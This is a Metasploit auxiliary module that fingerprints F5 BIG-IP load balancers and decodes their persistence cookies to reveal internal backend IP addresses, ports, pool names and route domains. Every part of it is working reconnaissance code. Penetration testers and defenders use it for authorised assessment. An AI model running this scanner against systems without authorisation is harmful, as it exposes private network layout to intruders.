##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP Backend Cookie Disclosure',
        'Description' => %q{
          This module identifies F5 BIG-IP load balancers and leaks backend information
          (pool name, routed domain, and backend servers' IP addresses and ports) through
          cookies inserted by the BIG-IP systems.
        },
        'Author' => [
          'Thanat0s <thanspam[at]trollprod.org>',
          'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
          'Nikita Oleksov <neoleksov[at]gmail.com>',
          'Denis Kolegov <dnkolegov[at]gmail.com>',
          'Paul-Emmanuel Raoul <skyper@skyplabs.net>'
        ],
        'References' => [
          ['URL', 'https://support.f5.com/csp/article/K6917'],
          ['URL', 'https://support.f5.com/csp/article/K7784'],
          ['URL', 'https://support.f5.com/csp/article/K14784'],
          ['URL', 'https://support.f5.com/csp/article/K23254150']
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),
        OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
        OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
      ]
    )
  end

  def change_endianness(value, size = 4)
    conversion = nil
    if size == 4
      conversion = [value].pack('V').unpack('N').first
    elsif size == 2
      conversion = [value].pack('v').unpack('n').first
    end
    conversion
  end

  def cookie_decode(cookie_value)
    backend = {}
    if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
      host = Regexp.last_match(1).to_i
      port = Regexp.last_match(2).to_i
      host = change_endianness(host)
      host = Rex::Socket.addr_itoa(host)
      port = change_endianness(port, 2)
    elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host)
    elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host, true)
      port = change_endianness(port, 2)
    elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host, true)
    else
      host = nil
      port = nil
    end

    backend[:host] = host.nil? ? nil : host
    backend[:port] = port.nil? ? nil : port
    backend
  end

  def fetch_cookie
    # Request a page and extract a F5 looking cookie
    cookie = {}
    res = send_request_raw('method' => 'GET', 'uri' => @uri)

    unless res.nil?
      # Get the SLB session IDs for all cases:
      # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
      # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
      # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
      # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"

      regexp = /
        ([~.\-\w]+)=(((?:\d+\.){2}\d+)|
        (rd\d+o0{20}f{4}\w+o\d{1,5})|
        (vi([a-f0-9]{32})\.(\d{1,5}))|
        (rd\d+o([a-f0-9]{32})o(\d{1,5})))
        (?:$|,|;|\s)
      /x
      m = res.get_cookies.match(regexp)
      cookie[:id] = m.nil? ? nil : m[1]
      cookie[:value] = m.nil? ? nil : m[2]
    end
    cookie
  end

  def run
    requests = datastore['REQUESTS']
    backends = []
    cookie_name = ''
    pool_name = ''
    route_domain = ''
    @uri = normalize_uri(target_uri.path.to_s)
    print_status("Starting request #{@uri}")

    (1..requests).each do |i|
      cookie = fetch_cookie # Get the cookie
      # If the cookie is not found, stop process
      if cookie.empty? || cookie[:id].nil?
        print_error('F5 BIG-IP load balancing cookie not found')
        return nil
      end

      # Print the cookie name on the first request
      if i == 1
        cookie_name = cookie[:id]
        print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")
        if cookie[:id].start_with?('BIGipServer')
          pool_name = cookie[:id].split('BIGipServer')[1]
          print_good("Load balancing pool name \"#{pool_name}\" found")
        end
        if cookie[:value].start_with?('rd')
          route_domain = cookie[:value].split('rd')[1].split('o')[0]
          print_good("Route domain \"#{route_domain}\" found")
        end
      end

      backend = cookie_decode(cookie[:value])
      unless backend[:host].nil? || backends.include?(backend)
        print_good("Backend #{backend[:host]}:#{backend[:port]} found")
        backends.push(backend)
      end
    end

    # Reporting found cookie name in database
    unless cookie_name.empty?
      report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)
      # Reporting found pool name in database
      unless pool_name.empty?
        report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)
      end
      # Reporting found route domain in database
      unless route_domain.empty?
        report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)
      end
    end
    # Reporting found backends in database
    unless backends.empty?
      report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
    end
  rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError
    print_error('Network connection error')
  rescue ::OpenSSL::SSL::SSLError
    print_error('SSL/TLS connection error')
  end
end
